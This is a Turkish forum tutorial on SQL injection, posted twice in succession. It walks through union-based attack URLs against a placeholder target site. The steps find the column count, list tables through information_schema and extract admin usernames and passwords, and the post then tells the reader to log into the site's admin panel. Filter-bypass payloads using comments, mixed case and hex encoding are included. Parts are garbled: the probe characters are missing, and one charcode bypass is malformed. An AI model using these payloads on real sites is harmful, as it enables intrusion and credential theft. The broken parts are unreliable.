Selamun Aleyküm
Web Güvenlik Açıkları Ders 4.1 (SQL)
Amaç
SQL Injection web güvenlik açıklarını öğrenmek.
Önsöz
SQL Injection açığını inşAllah size anlatacağım. Ancak uzun bi konu olduğu için 3-4 konu altında anlatmak istiyorum.
SQL Injection nedir ?
SQL Injection veritabanı zafiyetidir. Yani veritabanındaki bilgilerle uğraşırız. Bunlar admin ; kullanıcı adı-şifre-mail olabilir.
SQL Injection Açığı Nasıl Bulunur ?
Manuel Olarak
Web Vulnerability Scanner Programlarıyla (Vega,Acunetix vs.)
SQL Injection Açığı Nerelerde ve Nasıl Bulunur ?
SQL Injection açığını bulmak için ya da a komutlarını kullanırız. Şimdi bir site düşünün site http://www.hedef.com/index.php?id=12 olsun buradaki id değerinin sonuna yanı 12nin sonuna yada a koyalım. Eğer
şöyle bir hata çıkarsa SQL açığı vardır.
Yani: http://www.hedef.com/index.php?id=12 ya da http://www.hedef.com/index.php?id=12a
SQL Açığı Nerelerde Bulunur ?
1- URLlerdeki id (cat,c, vb.) değerlerinde
Şimdi bir site düşünün site http://www.hedef.com/index.php?id=12 olsun buradaki id değerinin sonuna yanı 12nin sonuna yada a koyalım. Eğer
şöyle bir hata çıkarsa SQL açığı vardır.
2- Arama Kutularında
Arama kutularının içine ya da a koyunuz. Eğer Şöyle bir hata alırsanız SQL Injection açığı vardır.
3- Kayıt Formlarında
Kayıt Formlarının içine ya da a koyunuz. Eğer Şöyle bir hata alırsanız SQL Injection açığı vardır.
4-Yorum Kutularinda
http://i.hizliresim.com/6P24Nl.jpg
Saldırı
Saldırıyı dört aşamada yapacağız ama birbirleriyla bağlantılı olarak.
1) İlk önce sitenin kolon sayısını öğreneceğiz.
2) Sonra kolon sayısı yardımıyla kolonları yansıtacağız.
3) Tablo isimlerini çekeceğiz.
4) Tablolardan hedef veriyi çekeceğiz (kullanıcı adı,şifre vs.)
Saldırı Anı
1) Kolon Sayısı Öğrenme
Arkadaşlar işlemi order+by+sayı (sayının sonuna işareti getirmeyi unutmayalım) komutu ile gerçekleştireceğiz. Mesela; http://www.hedef.com/index.php?id=12 URLnin sonuna +order+by+11 komutunu ekleyelim.
Yani; http://www.hedef.com/index.php?id=12+order+by+11– olsun Eğer şöyle bir hata çıkarsa
Hata: Unknown column 10 in order clause gibi bir hata çıkarsa, anlıyoruz ki kolon sayısı 11den küçük tek tek aşağı iniyoruz yani +order+by+10,+order+by+9,+order+by+8 sayfa eski haline gelene kadar.
+order+by+8 de sayda eski haline geri döndü. O zaman kolon sayısı 8 dir. Eğer hala sayfa düzelmezse yerine + veya x getirebilirsiniz.
2) Kolonları Yansıtma (Yansıtamazsak Bypass)
Arkadaşlar burada +union+select+kolon sayılarını teker teker yazıyoruz komutunu kullanacağız bunu URLnin sonuna ekleyeceğiz. Mesela; http://www.hedef.com/index.php?id=12 URLnin sonuna
+union +select+1,2,3,4,5,6,7,8 şeklinde
Yani; http://www.hedef.com/index.php?id=12+union +select+1,2,3,4,5,6,7,8 şeklinde olacak
Şimdi ekrana sayılar yansıması lazım. Biz 3 ile 6 yansıdı diyelim. Bu sayılardan birini seçip işleme devam edeceğiz. Eğer sayılar yansımazsa ne yapmamız gerekir. Tabiki de Bypass.
Bypass
1) Normal: +union +select+1,2,3,4,5,6,7,8
Bypass: +/*!union*/+/*!select*/+1,2,3,4,5,6,7,8
2) Normal:+union +select+1,2,3,4,5,6,7,8
Bypass: +union +(select+1,2,3,4,5,6,7,8)
3) Normal:+union +select+1,2,3,4,5,6,7,8
Bypass: +#union# +#select#+1,2,3,4,5,6,7,8
3) Tablo İsimlerini Çekmek (İsimleri Alamazsak Bypass)
Arkadaşlar bir önceki bölümde yazdığımız iki rakamda yani 3 ve 6 dan birini kullanacağız. Biz 3 ü seçelim, şimdi 3 üzerinden komut göndereceğiz. İlk komutumuz
A) http://www.hedef.com/index.php?id=12+union +select+1,2,database(),4,5,6,7,8
-Bu komut sayesinde sitenin veritabanının ismini öğreniriz.
B) http://www.hedef.com/index.php?id=12+union +select+1,2,version(),4,5,6,7,8
-Bu komut sayesinde sitenin veritabanının versiyonunu öğreniriz.
C) http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables
information_schema.tables = veritabanındaki tablo isimlerini gösterir
information_schema.columns = veritabanındaki kolon isimlerini gösterir
D) http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+tables_schema=database()
Bu kod sayesinde sadece hedef sitenin tablo isimlerini öğreniriz. Şimdi bu kodu gönderelim, gönderdikten sonra sitenin tablo isimleri ekrana yansıyacaktır. Örneğin yansıyan isimleri aşağıya yazalım.
Tablo İsimleri: admin,yerler,etkinlikler,yaptıklarımız
Bizim burada ilgileneceğimiz tablo ismi admin dir.
Eğer tablo isimleri yansımazsa işin içine Bypass giriyor.
Bypass
1) Normal: +union +select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+tables_schema=database()
Bypass: +union +select+1,2,group_concat(taBlE_Name),4,5,6,7,8+from+information_schema.TabLeS+where+TabLeS_schema=database()
4) Tablo İsimlerinden Veriyi Almak (Alamazsak Bypass)
Şimdi adminnin verilerini alacağız. Göndereceğimiz komut şudur;
http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=admin
bu kodu gönderdikten sonra bize admin içindeki sütunlar gelecektir. Örneğin şu sütunların geldiğini farz edelim. user,password,email,phone number Bize lazım olan user ve password
Eğer sütunlar yansımazsa işin içine Bypass giriyor.
Bypass
1) Normal: http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=admin
Bypass: http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=0x61646d696e
Arkadaşlar yapmamız gereken şey TabLe_Name=admin buradaki admin kısmını hexlemek admini hexleyeceğiz. Kullanacağımız Hex kodunu ise adminin yerine yazıyoruz.
Normal: admin
Hex: 61646d696e
Kullanacağımız Hex: 0x61646d696e
Kodu gönderdeğimiz anda user,password,email,phone number isimleri yansıyacak, şimdi ise user ve password sütunlarındaki bilgileri alacağız. Göndereceğimiz Kod:
http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(user,password),4,5,6,7,8+from+admin kodunu yazıp sayfayı yeniliyoruz.
Şimdi ekrana admini kullanıcı adının ve şifresinin yansıması lazım. Eğer yansımazsa ne yapmamız gerekir. Tabiki Bypass
Bypass
Normal:+union +select+1,2,group_concat(user,password),4,5,6,7,8+from+admin
Bypass: +union +select+1,2,group_concat(String.fromCharCode(85,83,69,82,188,80,65,83,83,87,79,82,69)),4,5,6,7,8+from+admin
Charcode:
Mozillanın hackbar eklentisindeki Charcode programını kullanarak bypass yapacağız user,password charcodelayacağız.
Şimdi kullanıcı adı ve passwordun buldunuz. Şimdi hedef sitenin admin panelini bulup admin paneline kullanıcı adı ve şifreyi girdiğiniz anda, hedef sitenin admin paneline girmiş olacaksınız.
Not: Anlatım Tamamen Bana Aittir. Daha Once Paylasilmissa Yorumlarda Bana Belirtirseniz Sevinirim İyi Forumlar
Selametle
Web Güvenlik Açıkları Ders 4.1 (SQL)
Amaç
SQL Injection web güvenlik açıklarını öğrenmek.
Önsöz
SQL Injection açığını inşAllah size anlatacağım. Ancak uzun bi konu olduğu için 3-4 konu altında anlatmak istiyorum.
SQL Injection nedir ?
SQL Injection veritabanı zafiyetidir. Yani veritabanındaki bilgilerle uğraşırız. Bunlar admin ; kullanıcı adı-şifre-mail olabilir.
SQL Injection Açığı Nasıl Bulunur ?
Manuel Olarak
Web Vulnerability Scanner Programlarıyla (Vega,Acunetix vs.)
SQL Injection Açığı Nerelerde ve Nasıl Bulunur ?
SQL Injection açığını bulmak için ya da a komutlarını kullanırız. Şimdi bir site düşünün site http://www.hedef.com/index.php?id=12 olsun buradaki id değerinin sonuna yanı 12nin sonuna yada a koyalım. Eğer
şöyle bir hata çıkarsa SQL açığı vardır.
Yani: http://www.hedef.com/index.php?id=12 ya da http://www.hedef.com/index.php?id=12a
SQL Açığı Nerelerde Bulunur ?
1- URLlerdeki id (cat,c, vb.) değerlerinde
Şimdi bir site düşünün site http://www.hedef.com/index.php?id=12 olsun buradaki id değerinin sonuna yanı 12nin sonuna yada a koyalım. Eğer
şöyle bir hata çıkarsa SQL açığı vardır.
2- Arama Kutularında
Arama kutularının içine ya da a koyunuz. Eğer Şöyle bir hata alırsanız SQL Injection açığı vardır.
3- Kayıt Formlarında
Kayıt Formlarının içine ya da a koyunuz. Eğer Şöyle bir hata alırsanız SQL Injection açığı vardır.
4-Yorum Kutularinda
http://i.hizliresim.com/6P24Nl.jpg
Saldırı
Saldırıyı dört aşamada yapacağız ama birbirleriyla bağlantılı olarak.
1) İlk önce sitenin kolon sayısını öğreneceğiz.
2) Sonra kolon sayısı yardımıyla kolonları yansıtacağız.
3) Tablo isimlerini çekeceğiz.
4) Tablolardan hedef veriyi çekeceğiz (kullanıcı adı,şifre vs.)
Saldırı Anı
1) Kolon Sayısı Öğrenme
Arkadaşlar işlemi order+by+sayı (sayının sonuna işareti getirmeyi unutmayalım) komutu ile gerçekleştireceğiz. Mesela; http://www.hedef.com/index.php?id=12 URLnin sonuna +order+by+11 komutunu ekleyelim.
Yani; http://www.hedef.com/index.php?id=12+order+by+11– olsun Eğer şöyle bir hata çıkarsa
Hata: Unknown column 10 in order clause gibi bir hata çıkarsa, anlıyoruz ki kolon sayısı 11den küçük tek tek aşağı iniyoruz yani +order+by+10,+order+by+9,+order+by+8 sayfa eski haline gelene kadar.
+order+by+8 de sayda eski haline geri döndü. O zaman kolon sayısı 8 dir. Eğer hala sayfa düzelmezse yerine + veya x getirebilirsiniz.
2) Kolonları Yansıtma (Yansıtamazsak Bypass)
Arkadaşlar burada +union+select+kolon sayılarını teker teker yazıyoruz komutunu kullanacağız bunu URLnin sonuna ekleyeceğiz. Mesela; http://www.hedef.com/index.php?id=12 URLnin sonuna
+union +select+1,2,3,4,5,6,7,8 şeklinde
Yani; http://www.hedef.com/index.php?id=12+union +select+1,2,3,4,5,6,7,8 şeklinde olacak
Şimdi ekrana sayılar yansıması lazım. Biz 3 ile 6 yansıdı diyelim. Bu sayılardan birini seçip işleme devam edeceğiz. Eğer sayılar yansımazsa ne yapmamız gerekir. Tabiki de Bypass.
Bypass
1) Normal: +union +select+1,2,3,4,5,6,7,8
Bypass: +/*!union*/+/*!select*/+1,2,3,4,5,6,7,8
2) Normal:+union +select+1,2,3,4,5,6,7,8
Bypass: +union +(select+1,2,3,4,5,6,7,8)
3) Normal:+union +select+1,2,3,4,5,6,7,8
Bypass: +#union# +#select#+1,2,3,4,5,6,7,8
3) Tablo İsimlerini Çekmek (İsimleri Alamazsak Bypass)
Arkadaşlar bir önceki bölümde yazdığımız iki rakamda yani 3 ve 6 dan birini kullanacağız. Biz 3 ü seçelim, şimdi 3 üzerinden komut göndereceğiz. İlk komutumuz
A) http://www.hedef.com/index.php?id=12+union +select+1,2,database(),4,5,6,7,8
-Bu komut sayesinde sitenin veritabanının ismini öğreniriz.
B) http://www.hedef.com/index.php?id=12+union +select+1,2,version(),4,5,6,7,8
-Bu komut sayesinde sitenin veritabanının versiyonunu öğreniriz.
C) http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables
information_schema.tables = veritabanındaki tablo isimlerini gösterir
information_schema.columns = veritabanındaki kolon isimlerini gösterir
D) http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+tables_schema=database()
Bu kod sayesinde sadece hedef sitenin tablo isimlerini öğreniriz. Şimdi bu kodu gönderelim, gönderdikten sonra sitenin tablo isimleri ekrana yansıyacaktır. Örneğin yansıyan isimleri aşağıya yazalım.
Tablo İsimleri: admin,yerler,etkinlikler,yaptıklarımız
Bizim burada ilgileneceğimiz tablo ismi admin dir.
Eğer tablo isimleri yansımazsa işin içine Bypass giriyor.
Bypass
1) Normal: +union +select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+tables_schema=database()
Bypass: +union +select+1,2,group_concat(taBlE_Name),4,5,6,7,8+from+information_schema.TabLeS+where+TabLeS_schema=database()
4) Tablo İsimlerinden Veriyi Almak (Alamazsak Bypass)
Şimdi adminnin verilerini alacağız. Göndereceğimiz komut şudur;
http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=admin
bu kodu gönderdikten sonra bize admin içindeki sütunlar gelecektir. Örneğin şu sütunların geldiğini farz edelim. user,password,email,phone number Bize lazım olan user ve password
Eğer sütunlar yansımazsa işin içine Bypass giriyor.
Bypass
1) Normal: http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=admin
Bypass: http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+from+information_schema.CoLumns+where+TabLeS_schema=database()+and+TabLe_Name=0x61646d696e
Arkadaşlar yapmamız gereken şey TabLe_Name=admin buradaki admin kısmını hexlemek admini hexleyeceğiz. Kullanacağımız Hex kodunu ise adminin yerine yazıyoruz.
Normal: admin
Hex: 61646d696e
Kullanacağımız Hex: 0x61646d696e
Kodu gönderdeğimiz anda user,password,email,phone number isimleri yansıyacak, şimdi ise user ve password sütunlarındaki bilgileri alacağız. Göndereceğimiz Kod:
http://www.hedef.com/index.php?id=12+union +select+1,2,group_concat(user,password),4,5,6,7,8+from+admin kodunu yazıp sayfayı yeniliyoruz.
Şimdi ekrana admini kullanıcı adının ve şifresinin yansıması lazım. Eğer yansımazsa ne yapmamız gerekir. Tabiki Bypass
Bypass
Normal:+union +select+1,2,group_concat(user,password),4,5,6,7,8+from+admin
Bypass: +union +select+1,2,group_concat(String.fromCharCode(85,83,69,82,188,80,65,83,83,87,79,82,69)),4,5,6,7,8+from+admin
Charcode:
Mozillanın hackbar eklentisindeki Charcode programını kullanarak bypass yapacağız user,password charcodelayacağız.
Şimdi kullanıcı adı ve passwordun buldunuz. Şimdi hedef sitenin admin panelini bulup admin paneline kullanıcı adı ve şifreyi girdiğiniz anda, hedef sitenin admin paneline girmiş olacaksınız.
Not: Anlatım Tamamen Bana Aittir. Daha Once Paylasilmissa Yorumlarda Bana Belirtirseniz Sevinirim İyi Forumlar
Selametle
